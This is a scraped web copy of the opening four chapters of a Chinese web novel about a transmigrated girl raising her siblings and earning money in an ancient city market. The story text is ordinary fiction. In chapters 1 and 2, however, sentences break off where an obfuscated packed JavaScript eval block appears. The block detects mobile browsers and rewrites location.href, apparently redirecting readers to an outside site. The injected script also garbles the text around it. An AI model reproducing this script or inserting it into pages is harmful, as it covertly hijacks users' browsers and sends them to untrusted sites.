《古代市井经商养崽日常》 1. 第 1 章 春寒料峭,天蒙蒙亮。 盛都大安坊的一座破落院里,哭声凄凄,乌鸣阵阵。偶有几只不识时务的瓦雀飞到院中老树上歇停,还不及梳梳羽毛,便被那老鸹“哇”的一声驱了去。 倒座房的屋顶是漏了不知多久的。 晨时凝结的露水顺着破瓦片“滴答——” 落在房锦儿脸上,滑落时带下她腮间些许污泥,掉在她身下的薄草垫子上。 穿着灰布衣裳的老仵作摸摸胡须,叹了口气:“病成这样,冬天就该冻死了,拖到现在,已经是老天爷菩萨心肠。” 房家两个小的一人一边抱着房锦儿的腰,哭得上气不接下气,口中喃喃唤着“阿姐醒醒”、“阿姐回来”,听得令人唏嘘。 “真、真断气儿了?”吴家娘子有些骇然。 吴家娘子名唤薛湘,是第一个发现房锦儿倒在了房里头的。 摸鼻息她不敢,只好赶紧叫了自家官人来瞧。她家官人是街道司的捕快,什么风浪没见过,当即便叫来了仵作。 “老丁既这般说了,还能有假?要不你亲自去摸摸?” “我可不敢。”薛湘连忙躲到官人后头抹眼泪,“才十四的小女娘,可怜见的,搬来没几天,怎好就死了。” “要不说房家那两口子心狠呢,自家大哥的孩子,说不认就不认。天寒地冻的将人赶出来,却连件保暖衣裳都没有,教人怎么活?” 正是上工的时辰,院门敞着,往来的街坊邻居见房里围着人,便凑过来看。有知晓房家那档子事儿的,嘴角往下撇了撇。 众人顺着这话才发现,房锦儿躺在薄草上,身上只有件比纸还薄的粗布衣。 倒是两个小的穿得稍稍厚些,麻布拼麻布,一层摞一层,拿小腰带扎紧了裹在身上,一看那样式便知,是大姐撕了自己的旧衣,把活命的机会留给两个小的了。 “真是作孽,我听说房家那两口子还将浆洗的活计全数收了去,没给这仨娃留一点活路。” “可不是,那么丁点大的小女娘,也就能浣浣衣裳挣几个铜子,没了这营生,怎撑得下去。” “……” 屋顶的破瓦还在滴水,冰凉的珠子砸在脸上、手上,并着时高时低的哭泣声,房锦儿朦胧之中只觉意动,漏入耳中的交谈声逐渐放大,意识慢慢清醒了过来。 眼皮子仍是睁不开的,手脚也木得像四根冰锥。 她躺在草垫上静静地听,脑中思绪纷繁,想要开口说话的愿望由弱及强,又由强转淡,最终心情平复下来,终于厘清了缘由—— 她穿越了,从一个不愁吃喝的地产集团高层变成了被叔婶赶出家门的可怜人。 这身子的原主人也叫房锦儿,虚岁十四,爹娘是替人跑商道运货的骡夫。 去岁隆冬大雪,道曲路滑,两口子一不留神随着骡子栽下山崖,死在回城途中,留下她和下头的两个弟妹。 弟弟刚满七岁,小妹妹六岁未及。爹娘头七刚过,三人便被叔叔婶婶赶出了门。 房家本不是土生土长的盛都城人,是十年前,自二百里外的岐州迁来的佃户。 这朝国力强盛,早年间乱过一场,新天子荣登大宝之后,大赦天下,兴科举,改农桑,破天荒地恩准了庄宅农田之交易。农田一旦易售,很快便拢聚到了大户手中,大把的佃户无地可耕,又逢都城之中百业待兴,便举家进城讨生路,房家便是其中之一。 原身的阿爹是大哥,自然先带着娘子来探路。两口子力气都大,做起骡夫的营生赚到了钱,便将老父老母,二弟三妹一齐接进了城。 房家老二是个聪明的,进城时不过二十出头的年纪,不甘心像大哥那样一辈子做力气活,偷了大哥给老父老母攒的棺材本,开起一家替人浣衣裳的浆洗行。 老父老母起初不满,没成想这浆洗行的生意蒸蒸日上,甚至让全家老小住进了大安坊的独门小院,那点不满也就随之烟消云散了,老两口也对这二儿子愈发地刮目相看。 毕竟能在这盛都城里头买下座院儿,就算立下足了,那可是顶有面子的事儿。 而老大一家,虽说也在买院子这事上出了半数的钱,可夫妇两人常年不在城中,老父老母倚靠不上。 原身又是个小女娘,迟早是要嫁出去的,不如老二家两个孙儿靠得住。加上她生来体弱,不能和爹娘一同跑商路赚银子,只能倚仗二叔的浆洗房做些洗衣缝补的活计。 慢慢地,房老二一家便成了事实上的主心骨,老父老母眼中的孝顺儿,家中大小事务,皆由他两口子说了算。 盛都城里寸土寸金,房家的小院虽是独门独户,却也只是一进院。也就是买得早,加之大安坊是个偏僻地儿,这才能买了下来。若是放到现在,恐怕卖了那浆洗行也买不来一间屋。 然院子小的结果就是不够住。三代同堂,两房十几口人,哪里分得过来? 房家老父老母住正房,西耳房打从三妹妹出嫁后充作库房,东耳房用作灶房,这都是不能改的。那算盘便只能打到老大一家头上。 如此,老大家五口本是住在光线较好的西厢房,便在前年要让原身到浆洗行帮工时,让老二一家拿捏着换了房,从西厢房换到了又阴又冷的倒座房。 为何不是换去东厢房?那是因为东厢房要给房老二的长子娶亲用。 说来也有趣,这房老二家同样是三个孩子,二男一女,却是长子十九,次子十七,连最小的女儿都比原身大一岁。 原因么,还是与房老二的“聪明”有关。尚在岐州做佃户时,不过十七岁的年纪就敢与同是佃户的夏家女儿在田间刁风弄月,十八岁时儿子呱呱落地,这才不得已将夏氏娶回了家。 与之相比,二十一娶妻、二十六才当爹的房家老大就显得木讷老实许多。故此,原身成了排行第四,房老大这做哥哥的成家比弟弟晚的事,也成了房家茶余饭后的一个笑话。 房老二的妻子夏氏,比他还要长两岁,是个胆子大、心思歪的。不说旁的,就说当年在田间发生那事儿,两人之中究竟是谁先不老实,恐怕只有夏氏心里最清楚。 盛都城中的房价与日俱增,房家这套小院儿,夏氏早就想全攥自个手中,奈何头上还有老父老母,不好施展。 可眼瞅着与大房换屋得了逞,老头老太从头到尾一声不吭,她便知道,这事儿稳了。 前年开春,房二长子娶亲,大吹大打地搬进了东厢房之后,夏氏便将目光投向了原身一家住的倒座房。 她先是想了个主意,说要把原身嫁出盛都城去,最好是嫁回岐州老家,如此便可劝说房老大夫妇跟着女儿回乡,把两个小的也带走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14878582|159691||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 可到底有顾忌。 一来原身前年才十二,说亲小了点,二来,还是惦记着老大家的钱。 骡夫这行当虽然又苦又累,但东家给钱是不少的,老大两口子又是出了名地能省会存,到时要全带走了,那可不划算。 房子也想要,钱也不舍得,夏氏一时想不出两全的法子,见天地把这事儿反复琢磨。直到老大两口子出了事儿,那点积蓄全落在老父老母手上,东家还额外给了点赔偿,这才终于让夏氏放开了手脚。 直接撵出去是不行的,会让街坊邻居戳脊梁骨。嫁人得给嫁妆,也不好。最好的法子,还是让原身自个带着两个小的离开。 夏氏把这想法跟房老二商量,房老二又聪明了。一拍脑袋,道,给她找个娶不到媳妇的糟老头子不就完了? 不想嫁,那就自个带着弟妹离开,没什么好说的。若是想嫁,也行,那些个老头子想女娘想得紧,莫说不要嫁妆了,聘礼翻倍都愿意。要是街坊邻居说闲话,大可说是原身那小女娘不知检点,夜里偷跑出门让老醉汉糟蹋了,不得已才嫁过去。 两口子一拍即合,夏氏那叫一个高兴,把房老二夸上了天不说,当即便托人找到个外坊的老赌鬼,问原身愿不愿意嫁。 原身自然不愿,哭哭啼啼哀求几日无果,只好答应带着弟妹离家。房老二这个当叔的安慰了她几句,便亲自将三人送到了这间破落院中住下。 可不是,侄女儿大了有主意,不愿听家中安排嫁人,非要闹着自立门户,他们当叔婶的既不是爹也不是娘,能怎么办呢?给找了屋子,付了掠房钱,已是仁至义尽了。谁还能说他不是? 然说是付了掠房钱,实际是只交了半月定钱。待到原身被自家的浆洗行赶出来,又被房东催着缴租钱,这才知道上了当了。 寒冬腊月,烧柴要钱,吃食要钱。 起初还好,原身还能将带出来的几件钗环拿去当了,勉强温饱,可随着时间过去,莫说首饰衣裳,就连吃饭用的陶盆木罐都当了个精光,亦不够裹腹。 两只小的饿得嗷嗷叫,原身也瘦得脱了相。除了缝洗衣服,她没别的本事,而怪就怪在,不论哪个坊里的浆洗行,似乎都不愿用她。 房锦儿穿来之前,原身又冷又饿,已经病了七八天了,高烧不下。 烧着烧着,人就凉了,待到再有意识,已经换成了她。 “吴爷,去喊她家里人,抬出去埋了罢,再摆着,天暖就该臭了。” 老仵作再次确认无误,拿布巾擦了手,准备收摊。吴家官人闻言转身驱散围观众人,房家两小儿哭得更惨了,死命抱住房锦儿身子,哑着嗓子一个劲地喊:“不要埋我阿姐,不要埋我阿姐。” 薛湘听得跟着落泪,心头不忍,望了望自家官人,对方朝她摇了摇头。 人死终究不能复生,薛湘忍着泪,上前拢住两个小儿,道:“阿姐走了,咱们让阿姐走罢。” “不要!”小些的女娃哭得满面通红,挣开薛湘的手,猛地朝房锦儿扑去。 这一扑,也不知是压在了哪儿,房锦儿忽觉被锁住的身躯陡然通畅,眼皮子轻浅欲张,冷不丁就真的睁开了眼,正好对上薛湘同情的目光。 “鬼啊!”薛湘被吓得一屁股坐在地上,仵作和吴家官人同时惊得转过了身。 2. 第 2 章 “怎么会死了呢。” 房家老太左氏,踉跄了一下,跌坐到堂屋正中的木椅上。房老汉脸黑如土,与她并排坐着,一双起了皱的老手合按在拐杖上,低头一言不发。 左氏拍拍两人中间隔的桌子:“你说句话!” 房老汉向来话少,拐杖跺了几跺地,还是只挤出长长一声低闷的鼻音。 左氏只好看向坐在下首的二儿子:“我说,稳康,咱家利哥儿的差事说得如何?会不会被这事儿搅了去?” 利哥儿就是房进利,房老二家的次子,眼瞅着快满十八了,也到了成家立业的时候。 他大哥房进名也是前年成的婚,成婚之后,房老二两口子便把浆洗行的生意交给他管着,只不过账本还留在手中,让名哥儿按月领掌柜的工钱。 可惜浆洗行就一家,名哥儿得了,利哥儿就得另谋差使。 偏生这利哥儿又不是个踏实的,念书不行,算账更不行,成天地跟着坊里那群帮闲瞎胡闹。靠他自个立足是断不可能了,房家人就想着,给他捐个公职,拿月奉度日,好过做生意赔个精光。 这朝新天子继业不过十来年,为着增收纳税,其实私底下是允许有钱的百姓捐些虚职的,只要不弄得人尽皆知就好。 可捐个七品下、八品上的奉议郎约要二十万贯,捐个九品下的从事也得万把贯。 房家虽赶在好时候开了铺,买了房,到底不是那顶富贵的,算来算去,真能拿出来运作的银钱也不过千几百贯。 房老二两口子愁得不行,四处求人打听,碰了几鼻子的灰。直到前几日,才终于寻到个愿意帮忙的,说只要能拿出一千贯,就能给利哥儿在街道司里谋个司副的职。 房二怕的也正是这个。 那房锦儿听说是活活冻死的,虽说两户已经分了家,可到底分开不久,且这死法实在难看,街曲邻居颇有微词,算不得什么体面事。若人家真信了那些闲言碎语,觉着房锦儿是被他们两口子坑死的,断了他们买官的路,也不是不可能。 他心中惶惶,道:“茂昌替我牵线,找的是他们药行行会的李大东家,李大东家的侄女儿上月刚出嫁,官人就是巡检司的孙司正。” “这巡检司和街道司是一母同胞的两兄弟,孙司正说能让利哥儿去街道司当司副,那就是能去当司副。坏就坏在,那一千贯钱还没给出去,要是锦儿的死讯进了孙司正的耳,还不知会不会就不收咱们的钱了!” 左氏急了,拍腿道:“哎哟诶,我就知锦儿这女娘八字不好,你大哥大嫂两口子已经倒了霉,可别让利哥儿跟着……” “呸呸呸,娘,说什么呢!咱们利哥儿福气硬着呢。”二儿媳夏氏端了三盏粗茶来。 夏氏生得是有几分窈窕,走路时裙摆左摇右曳,房老二就爱看她这股子媚样儿。 “我方才已经打发名哥儿上万字柜坊取交子去了,待他一回来,咱便给孙司正点几个好酒好菜,把交子悄摸压在里头一块儿送去,让他不得不收。只要他在得知锦儿的死讯之前收了钱,那他便无从推脱了。即便后头知道了,也只能硬着头皮给咱们办。” “我看行,素兰这个法子好。”左氏点头道。 房老二亦觉得不错,只不过他还有个顾虑。他站起身来踱了几步:“可我还是觉得蹊跷。你说,房锦儿怎就能冻死了呢?她分出去的时候,也是带了好些衣裳首饰的,银钱虽不多,可也足够撑到她找到活计的时候。” “是,咱们的浆洗行是不让她进了,那不是为了防着她惦记咱家的钱么!可她在咱们浆洗行里干了也有足两年,漂洗缝补的手艺也学得差不多了,盛都城里头浆洗行多了去了,她到哪家都算得上个现成伙计,怎会沦落到吃不上饭?” 房老二看着自家娘子,语调沉了沉:“就怕是利哥儿在外得罪了人,捐官的打算让人知道了,故意弄出这么档子事儿来陷害咱们。若是如此,恐怕孙司正那边早就得了信儿了。” 他本以为这话说出来,要吓着夏氏,不料夏氏眼神一闪躲,嗔怪道:“你别成日瞎想,利哥儿哪会得罪人。兴许就是那小女娘笨手笨脚的,人家不爱用罢了。要我说,咱就多余让她学手艺。” 夫妻十几年,房老二这下哪会看不出夏氏心里有鬼,他话锋突然一转,眯了眯眼睛:“这么说,房锦儿一直没找到活计的事儿,你不知道?” 夏氏一下就有些恼了,嗔道:“你看我做什么?我哪会知道。” 两人正僵持着,忽听院门响动,长子名哥儿急匆匆下了驴车跑过来,还未跑到正房便急不可耐叫道:“又活了!阿爹,阿娘,又活了!” 房老二两口子一愣,房老爷子和老太左氏也站起了身:“你慢些讲,什么活了?” 房进名咽了口唾沫:“房锦儿!房锦儿没死,又活过来了。” - 房锦儿勉强坐起来,背后倚着垫了几捧干草的砖墙。她太瘦了,砖墙硌得脊骨生疼。 两小儿的眼泪自打她醒来就没干过。五岁多的小妹妹锦云躺在她身旁,把身体钻到她胳膊底下,两只小手紧紧环住她的腰,替她暖着身子。 七岁的弟弟进逸跪在地上,手中捧着个豆渣窝头,跟前放了一小碗凉水,他小心翼翼地掰下一点儿,在水中浸一浸,待稍微软了,喂给房锦儿吃。 丁仵作交代他,阿姐刚醒,不能吃太硬,会再吃死了的。 房锦儿吃着尝不出味儿的豆渣窝头,目光顺着墙壁往前看。破瓦片滴下的水在墙根汪了拳头大的一小汪,被水泡过的地方,沿着墙缝长出了一溜杂草。 墙砖上头长了青苔。屋里没有桌椅,也没有床,除了她躺的这处,墙角还有一堆半人高的枯草,两个小的夜里就缩进草里睡。冻得实在睡不着时,姐弟三人就抱在一起,把草披在身上。 半敞着的屋门破了洞,门外的角落里有个灶台,但膛里没有柴。原本放在灶上头的陶锅也当了,放在锅旁的粗陶碗当得还剩最后一只,被进逸拿来盛了水。 就这样一间屋,每月要付三百文赁钱呢。房锦儿忽然想起,自打月初交了最后一笔赁金之后,姐弟三人就再没有吃过最便宜的豆渣窝头了。 她把视线收回来,见进逸还在认真地给她泡窝头。 她张了两次口才发出声音:“逸哥儿。” 房进逸这小哥儿,生得五官细巧,长长的眉毛,尖尖的翘鼻,他抬起头来看着阿姐,脸上的脏泥被泪水冲成一道一道的。 房锦儿指指窝头,弱声:“哪来的?” 小逸哥儿拿手背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴家两口子在旁瞧着,薛湘起先怕得要死,后来见房锦儿能动、能听见说话,大着胆子摸了摸她脑门,是热的,身子后头也有影子,这才真觉着见了奇景儿了,信了。 关于这个,房锦儿也不知该怎么解释,只好道:“对不住老丈。” 老丁摆手道:“有甚么对不住的,亏得你小女娘福大命大,自个醒了过来,要不把你拖去埋了,我老头子可就罪过大喽。” 话说着,薛湘拎着冒热气儿的粗陶水罐,从对面的正房过来了。 她和吴顺租的是院儿里的正房和西厢房。吴顺在街道司衙门当巡捕,月奉三贯钱,精打细算着花才能不饿肚子。平日家里烧水,用的是做饭剩下的余温,并不舍得专门烧柴。为了这一陶罐的热水,她可是花了血本了。 薛湘走到院子中央,忽然想起什么,又赶紧拎着陶罐折返回去,包了一小撮粗盐,又从米缸中量出一升米。 缸中米剩得不多了,爹娘和儿子不在盛京,就他们夫妻二人,估摸着堪堪够。吴顺的月奉还要下月初才发,她这月都没接到什么绣活儿,眼下也没有余钱买…… 薛湘算了算,两个小的,加一个半大女娘,一升米,吃三日饱饭应当没问题。等吴顺的月奉发下来了,再给一些。 3. 第 3 章 有了吴家接济的米,房锦儿踏踏实实过了三天醒了就吃,吃了就睡的好日子,总算恢复得差不多。 浑身上下不疼了,走路也不打晃了,还能自个打上两桶井水拎回家。 她这个痊愈的速度,放在寻常人身上,那是断要惹人猜疑的,可放在死而复生过一回的房锦儿身上,就显得合理许多。 她拎着木桶穿过街,在街坊邻居的惊奇目光下进了一道小门,穿过自家屋子,出了大门,来到院儿里。小进逸和小锦云正在帮薛湘洗彩布,一左一右守着两个比人还大的木盆,逸哥儿放进水里洗一遍,小锦云再拿瓢舀水冲一遍。 “锦儿,你快别让他们弄这个,水太凉,我自个洗就行。”薛湘把洗好的彩布摊平了晾在竹竿上。 她昨日运气不错,从绣房接了个不小的活儿,绣五米的彩布,绣得好了,能给半贯钱,一个月的米钱就有了。 只是这院子忒小,两根竹竿南北一撑,彩布晾起来,人就只能前后着走。 “怕什么,吃了你的米和盐,还不给你干点儿活啊?” 房锦儿笑着过去,把新打来的两桶水倒进锦云那个木盆中。 薛湘道:“一升米而已,你倒弄得我不好意思了。先前你们过得那样苦,我们就住在隔壁,竟丝毫不知……” 那日给了米盐柴禾后,只要是见她在院里屋前忙活,甭管是做什么,房家两小只便跑过来帮手。一问,小锦云奶声奶气说是阿姐让来的,拿了粮食要付钱,付不起钱便做活计来抵,这是天经地义的事。 她拒绝过几回,拗不过,只好让他们帮。今日房锦儿也好了,便姐弟三人一齐来。 房锦儿学着帮薛湘摊布,道:“怪不得你和吴大哥,是我那时钻了牛角尖,非要硬撑,也不让逸哥儿和锦云与你们来往。死过一回,我也想明白了,天底下除了浆洗,有的是活计,我干什么不好?” 房、吴两家虽说住的是一个院子,可因着这是座侵街的搭院儿,正房和西厢房的门只朝院儿里开,那倒座房的房门却有两扇,一扇对着院里,另一扇小的直通坊外大街。姐弟仨每回都是小门进小门出,吴家夫妇自然见不到,更想不出姐弟三人会过成那样。 原身是个软弱拧巴的性子,可房锦儿不一样。 一时落魄并不是什么丢脸的事儿,为了面子活活冻死才是不值得。 留得青山在,还怕有翻不了的身? 薛湘看她这个模样,很是欣慰,笑着道:“你想通便好。” 不止是吴家两口觉察到房锦儿的变化,逸哥儿和小锦云更是觉得阿姐简直换了个人。 从前阿姐总是哭,不爱出门,也不让他们出门,姐弟三人整日整日缩在家中。可自打醒来,阿姐不止话多了,爱笑了,还带着他们院里院外溜达,结识了好几个小娃娃。 从前阿姐绝不会拿别人给的吃食。粮食不够吃的时候,就分作几份,三个人加起来,一天只能吃一份,谁敢偷吃就狠狠打手心,打到手肿了为止。 现在阿姐也会盘算着吃,可没那么严格了,昨日锦云没吃够,阿姐就从那米袋子中又拨出好些,硬是给她专门煮了一小碗。 - 用过午食,房锦儿折起装米的小麻布袋子。袋子已经见底了,还剩最后一天的量,一小撮盐也差不多用光。 逸哥儿麻利收了陶碗拿去洗,小锦云去帮忙没帮上,只好又进屋里来。门口堆的柴禾用得还剩一小半,小锦云看看柴和灶,又看看阿姐手里的袋子,好似想问什么,但最终没出声。 “你忘啦,咱们还有一个胡饼。” 房锦儿指了指墙上。 薄草垫子靠着的那面墙上有块掉了的老青砖,一根草绳压在砖洞里,绳末坠着个深蓝的小包袱。 那包袱是房锦儿醒来那天的晌午,被人扔进院子里来的,待到逸哥儿跑去看时已经没了人影,并不晓得送包袱的是谁。 姐弟三人现在身上穿的衣裳就是从包袱里翻出来的,半新不旧,但至少像个样子。衣裳下头还压着一张不小的胡饼,闻着像是酥油馅儿。三人不舍得吃,想留到米没了再说,房锦儿怕遭耗子,就把它暂时放回包袱里,吊了起来。 “咱们晚食就吃它,明日再煮白米粥。” 连吃三天米粥,房锦儿也想换换口味。主要是吴家两口子过得也省,肉和菜总不好意思再收人家的,只收过一碗菘菜汤,三个人砸吧砸吧味儿也就没了。 听说要吃那胡饼,两个小的同时看了过来。 怎么能忘记呢,那可是好香好香的酥油胡饼,他们那天看见了,烤得金黄,一股子焦香,坐在屋里就能闻见味儿,馋了好几天了! 锦云眼睛亮了亮,巴巴地看了看房锦儿,道:“阿姐当真?”可转头见她阿兄没出声儿,眼里那点星光又落了回去,觉得自个说错话了。 也是,那块胡饼说好要留到米没了才能吃的。以前她贪嘴,阿姐便会发怒哭道,吃吃吃,一回全吃完了,咱们姐弟三人好一齐撞死。那样子可凶可凶。 况且那张饼比两只手加起来还大,怎么可能一顿全吃完,真都吃了,以后吃什么? 逸哥儿和锦云想的是一样的,但房锦儿明显从他眼里看出几分拒绝。 和活泼外向的妹妹不同,这逸哥儿是个尤其安静的性子,穿来这三日,房锦儿就几乎没听见过他说话,若不是有原身的记忆,几乎要以为他是个小哑巴。 这会忽然听他开口道:“阿姐,胡饼我和锦云不吃,我这几天吃太饱了,以后能少吃。米粥里再掺点水,还够多吃两日。” 他是真担忧以后吃什么! 还有,看他那眼神,也怕房锦儿一怒之下打小锦云手心。 锦云一听这话,突然也反应过来了,站起身有些后怕地往她阿兄那边靠。 房锦儿看着心酸,这兄妹俩豆大一点儿,跟着阿姐搬出来后的这些日子是吃了多少苦头啊。明明以前爹娘还在的时候,也是不愁吃穿,被人捧在心尖尖上的娃娃。 人在词穷的时候便会转笑,房锦儿被他俩那担惊受怕的小样子气笑了,道:“过来,我不打人。” 小锦云没挪脚,逸哥儿也没动。 阿姐这话听着可没什么说服力。 房锦儿只好继续保证:“真不打,不仅不打,我还带你们出去逛商市去。” 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“赚钱呀,阿姐带你们出去赚钱,然后用钱买更多的粮食。” 兄妹俩你看看我,我看看你。从前爹娘在的时候,家里是有人赚钱的。可自打跟着阿姐住到这里,两人听到最多的就成了“换钱”。 阿姐起初拿着衣裳首饰出去,后来拿着锅碗出去,回来的时候这些东西就都没了,换成了铜钱。 连他们都知道,那是拿去质库当掉了,阿姐什么时候真的赚过钱? 房锦儿也晓得,就原身从前的所作所为,光说没用。她拍拍逸哥儿的肩膀:“去把咱们仨的旧衣服拿来换上。” 她穿来时三人身上的破旧衣服没扔,也没洗,换下来后就让逸哥儿塞进墙角摞的几块砖下头压着。压了几日,又蹭上去不少灰,颜色愈发脏了,还皱皱巴巴的。 逸哥儿摸不着头脑,但没多问,拿来麻溜就换了,换完又帮着小锦云系腰带。 房锦儿也换好了衣裳,粗麻的单衣裤,灰里带棕的颜色,衣摆上还被火燎破了几个洞。房锦儿再抹上墙灰,给三人的头发往乱处拨了拨,姐弟仨一下打回原样,比原先还不如,跟三个小乞丐似的。 小锦云道:“阿姐是不是要把新衣拿去换钱?”说着就要去叠那三件换下的新衣,熟练得让人心疼。 “非也。”房锦儿连忙止住她,“新衣拿什么也不换,咱留着穿。” 她取下装胡饼的包裹,把三件衣服好生包进去,挂回墙上,带着两小只就这么灰扑扑地出了门。 “阿姐说了要带你们去逛商市,那就是真带你们逛商市。” 这朝虽说还有坊制,可搭墙侵街已成了风气,街市也不再分得严,夜禁取消,买卖自由,不少人都将铺子开进了坊里。从破落院出来,向北沿着街走了一段,便有家不小的脚店,簇拥在一小片散摊之间,茶博士正拎着铫子给店前敞坐的客人倒茶。 房锦儿老远便竖起耳朵听,那茶博士说的是:“要我说,那房家赶出来的女娘,八字带着’驿马星’,是个逢凶化吉的命。” 4. 第 4 章 “逢凶化吉不假,听说死都死透了,突然又睁开了眼。” “啧啧啧,真够邪的,那’驿马星’又是什么东西?” “’驿马星’都不知道?驿马星者,变动之象也。马星入命,那是命数主变,不拘一隅,马星带吉,那就是遇难成祥,逢凶化吉!” 茶博士把长把儿的铫子高高一提,淡黄的茶汤稳稳落在大碗中。脚店卖的是粗茶,价钱便宜,加些许盐,底层百姓干活出汗多,喝这个有劲。 店前煮茶的大锅冒着热气,敞坐在木桌条凳上的客人与那茶博士聊得起劲,周围摊子上卖百货的听得起劲,还有五六个大约是附近人家的半大小儿,跟着在那茶锅旁边凑热闹。 房锦儿招呼了逸哥儿和小锦云,趁人不注意,出溜往那群小儿当中一挤。 脚店买茶送一把五香的盐水蚕豆,放在木桌边儿上,恰好跟房锦儿隔了那煮茶的锅,她伸手掏过来一把,递几颗给小锦云和小逸哥儿。 两人没干过这事,吓了一跳,眨巴着眼睛不敢拿。房锦儿也不好解释,干脆剥开一粒喂锦云口中,余的塞给逸哥儿,见逸哥儿仍是不肯拿,她又只好全数塞给锦云:“多久没吃过蚕豆了?又不多拿,等有钱了多买他几碗茶便是。” 说罢自个也剥了吃,边吃边听。 这茶博士像是个喜好推星测命的,脚店这地方向来又是最适合说长道短的地儿,一群人喝着茶听他胡咧咧,不到半碗茶的时间便把坊里的奇闻轶事算了个遍。 算到末了,又说回“被房家赶出来的小女娘”身上,一众看客还是对那大难不死的’驿马星’命感兴趣,茶博士对此也津津乐道。 可不是么,天底下能有几个死了又活的? 房锦儿吃完了蚕豆,搓掉手上的残渣,心中讪讪有了盘算。 不就是胡说么,她前世能混成商界高层,靠的一大半就是张口便来的能力。 她瞅准个机会,插嘴道:“恐怕不只’驿马星’,依我看,那女娘贵禄中藏凶劫,还是个难得一见的’禄劫同宫’之命。加上’驿马星’,动则能生,生则能反,大难不死必会反噬加害之人。可惜那家姓房的不懂,谋人财、害人身,以后恐怕要祸人变成祸己,自食余殃喽。” 听得有人说话,茶博士转过身来,见是个破衣烂衫,瘦脱了相的小乞儿模样,眉飞色舞的表情一收,撇嘴道:“你也会算?你见过那房家的女娘?” 房锦儿拱拱手:“没见过,不才会算一点儿。” 茶博士拎铫子赶道:“去去去,一边儿去,休在这里瞎说。” 摊子上有人叫道:“你不也没见过那房家的小女娘么!” 众人哈哈大笑,间中有道:“就是,许你说不许人家说?”茶博士略显窘色,还待再赶,房锦儿道:“我是不是瞎说,且听我给你算一道,不就晓得了么。” 茶博士愣了愣,底下立即有人叫道:“算一个看看!算好了我给你打赏!” 这敢情好啊。 房锦儿欲上前两步,一抬脚,忽觉后头有东西拽着自己,转身见是满眼担忧的逸哥儿。一旁的小锦云也低声道:“阿姐……” 咱不会,还是走罢。 两小只是真的懵了,只听过阿姐会洗衣,会缝补,什么时候还听说阿姐会卜算了? 到底是爱看热闹的人多,听说打赏,又围过来好些人,亦有附和者拿出了铜板。茶博士推拒已经晚了,谅她也算不出什么东西,只好道:“有本事你算。” 房锦儿轻轻拍了拍逸哥儿拉着她衣角的手,点头做了个口型:“放心。”逸哥儿只好松开。她上前围着茶博士转了两转,像模像样地瞧瞧天气,又掐着手指比划了几下。 “茶博士近来是否常感体寒?” 这是个什么算法?茶博士被问得一懵。 想了一想,近些日子清晨里被冻醒了好几回,上工的时候总不自觉挨着茶锅,离了那热气便觉浑身发凉,好像确有其事,便道:“是。” “那茶博士近来是否常经过狭窄、湿滑之地,偶有步履难安,晕头转向之感?” 茶博士犹豫了一下。要说狭窄湿滑之地,他不曾留意过,可脑中下意识却浮现些个地面积水、自个儿小心翼翼行走的画面,说不出是在哪。而要说晕头转向,他这几日还真是只要到了傍晚下工前,便觉得脑袋发蒙,腿脚也酸软。 只好道:“也是。” 房锦儿道:“那便是了,你这是踏破煞位,当有小灾。我算出你今日恐怕要当众跌跤。” 此话一出,摊上坐上立时哄笑成片。“我呸,”茶博士斥道,“你这小乞儿,休得瞎说咒我。”他说罢便要过来赶客,却忽听店里头有人唤他添茶,只得气咻咻拎着铫子往店中迈去。 哪知左脚将落右脚待抬,那脚底突然不听使唤似地,“噗嗤”一下连人带壶摔了出去,摔得那铜铫子叮咣一阵响。 “哎哟,奇了!”有人拍掌叫道。 “摔了摔了!真摔了!”又有人叫好。 这不是当众跌跤是什么,人群里一下炸开了花。 房锦儿只见一小道铜光闪来,伸手捉去,接住个包了浆的薄片儿铜钱,她“嘿嘿”一笑,双手合十摇着那铜子儿作了个揖,道:“谢这位赏。” “算的好嘿!” “还真让她说着了!” 围观的人群起初只当是个玩笑,哪知还真让这脏兮兮的小女娘卜中了一道,皆觉得甚是奇妙,又见那茶博士“哎哟哎哟”地爬起身,笑得愈发高兴,有钱喝茶的不缺这两文,干脆给房锦儿赏一个,给那茶博士也扔一个,图个乐呵。 房锦儿笑眯眯地接着,不多时便接了十来个铜子儿,摇起来哗啦哗啦响。 小逸哥儿和小锦云才是看呆了,两双黑葡萄似的大眼睛瞪得溜圆,仿佛不敢相信眼前所见。 这真是他们的阿姐吗?什么时候会卜算的?怎地随口说了几句就当真赚着了钱? 小锦云手中还攥着几颗五香蚕豆,这时都不香了,想也不想便塞给自家阿兄,道:“你拿着。”说罢便蹬着小腿儿跑过去拉阿姐的衣角:“阿姐阿姐,铜钱!” 房锦儿笑着谢过了一众看客的赏,待见众人都忙着交头接耳,再无人扔钱了,这才快速数了数手中的铜板,整整十三个! 还不错。 她掂了掂,取出一个放进盛蚕豆的簸篮里,算是蚕豆钱,又给刚彻底站起身来的茶博士拱了拱手,道了句“多有得罪”,这才转身拢住两个小的,趁乱离开。 那茶博士本是不悦的,却见摔这一跤还得了额外的赏钱,狼狈也不计较了,“嘿嘿”地揉着腰,又上厨间拎茶去了。 一时热闹终于安静下来些,待到又过了片刻,吃茶的人中忽有人“诶”了一声,道:“方才那小乞儿是不是说……房家女娘是个’禄劫同宫’之命,房家谋财害人,以后恐怕要自食余殃?” “好像是这般说的。” 有人突然反应过来了:“她既能说准了茶博士要当众跌跤,难不成,这也是真的?” - 脚店后头有条岔路,沿着向北走上两刻,便是大安坊正儿八经的商市所在。 